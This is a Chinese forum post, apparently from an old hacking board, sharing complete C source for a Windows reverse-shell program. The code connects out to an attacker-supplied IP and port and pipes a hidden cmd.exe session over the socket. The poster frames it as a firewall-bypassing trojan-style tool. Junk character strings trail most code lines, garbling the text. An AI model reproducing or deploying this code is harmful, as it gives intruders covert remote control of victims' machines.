社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5672阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C ,Je>G  
-t % .I=|  
/* ============================== \z8TYx@  
Rebound port in Windows NT p/WEQ2   
By wind,2006/7 9dw02bY`  
===============================*/ SSi}1  
#include R+Ke|C  
#include }6eWdm!B  
`c{i +  
#pragma comment(lib,"wsock32.lib") 2:i`,  
BZsw(l4/0'  
void OutputShell(); G <m{o  
SOCKET sClient; 2`t4@T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |U$oS2U\m  
eUqsvF}l!  
void main(int argc,char **argv) t,R5FoV  
{ vK#xA+W  
WSADATA stWsaData; w0moC9#$?  
int nRet; fYx$3a.  
SOCKADDR_IN stSaiClient,stSaiServer; )0PUK9  
(q*T.   
if(argc != 3) 'fcJ]%-=  
{ L3X>v3CZ5  
printf("Useage:\n\rRebound DestIP DestPort\n"); LUKdu&M  
return; _V6;`{$WK  
}  V '^s5  
s qac>v  
WSAStartup(MAKEWORD(2,2),&stWsaData); &{y- }[~  
qN+ngk,:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =wU08}  
wC<!,tB(8  
stSaiClient.sin_family = AF_INET; u Dm=W36  
stSaiClient.sin_port = htons(0); Thw E1M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C#>c(-p>RC  
|nz,srr~  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0l^-[jK)  
{ -`iZBC50  
printf("Bind Socket Failed!\n"); (Pc:A! }  
return; "-A@>*g  
} uQ9P6w=Nt  
:%xiH%C>  
stSaiServer.sin_family = AF_INET; v~ZdMQvwt  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?8b?{`@V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vy1:>N?#5  
9dJARSUuF  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z930Wi{@  
{ Mh[;E'C6  
printf("Connect Error!"); &'c1"%*%8>  
return; HWFo9as""v  
} uUwwR(R  
OutputShell(); <.s[x~b\`  
} #G$_\bt  
+<|6y46  
void OutputShell() 1nX/5z_U  
{ 29 Yg>R!/  
char szBuff[1024]; V ;1$FNR   
SECURITY_ATTRIBUTES stSecurityAttributes; + Q}Y?([  
OSVERSIONINFO stOsversionInfo; (.m0hN!~u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *s S7^OZ*  
STARTUPINFO stStartupInfo; *Jmy:C<>  
char *szShell; tO)mKN+ (  
PROCESS_INFORMATION stProcessInformation; +/-#yfn!TR  
unsigned long lBytesRead; a5:YP  
3!,XR\`[  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @i$9c)D  
loLQ@?E  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +I;b,p  
stSecurityAttributes.lpSecurityDescriptor = 0; 1ePZs$  
stSecurityAttributes.bInheritHandle = TRUE; ]xCJ3.9  
!WR(H&uBr\  
iLws;3UX;x  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 506B =  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k*w]a  
,<d[5;7x  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K;sH0*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1*Yf[;L  
stStartupInfo.wShowWindow = SW_HIDE; V; Yl:*  
stStartupInfo.hStdInput = hReadPipe; 9.!6wd4mw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _b&Mrd  
nz3j";d  
GetVersionEx(&stOsversionInfo); nws '%MK)  
M-e!F+d{od  
switch(stOsversionInfo.dwPlatformId) *}-X '_  
{ e_kP=|u)g  
case 1: |ITp$  _S  
szShell = "command.com"; p&>*bF,  
break; hJ (Q^Z  
default: N&]v\MjI62  
szShell = "cmd.exe"; kn^RS1m  
break; rh5R kiF~  
} E5~HH($b  
JN .\{ Y  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'nz;|6uC  
0~iC#lHO  
send(sClient,szMsg,77,0); aEo!yea  
while(1) jr|(K*;  
{ %g5TU 6WP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j&6,%s-M`a  
if(lBytesRead) D^baXp8  
{ Kyt.[" p  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5bYU(]  
send(sClient,szBuff,lBytesRead,0); $3[IlQ?  
} y< W?hE[  
else CC0@RU  
{ `MA ee8u'  
lBytesRead=recv(sClient,szBuff,1024,0); w},' 1  
if(lBytesRead<=0) break; g{.>nE^Sc5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ! @{rk p  
} 6}='/d-[  
} [^EU'lewnW  
)@09Y_9r  
return; -wH#B<'  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五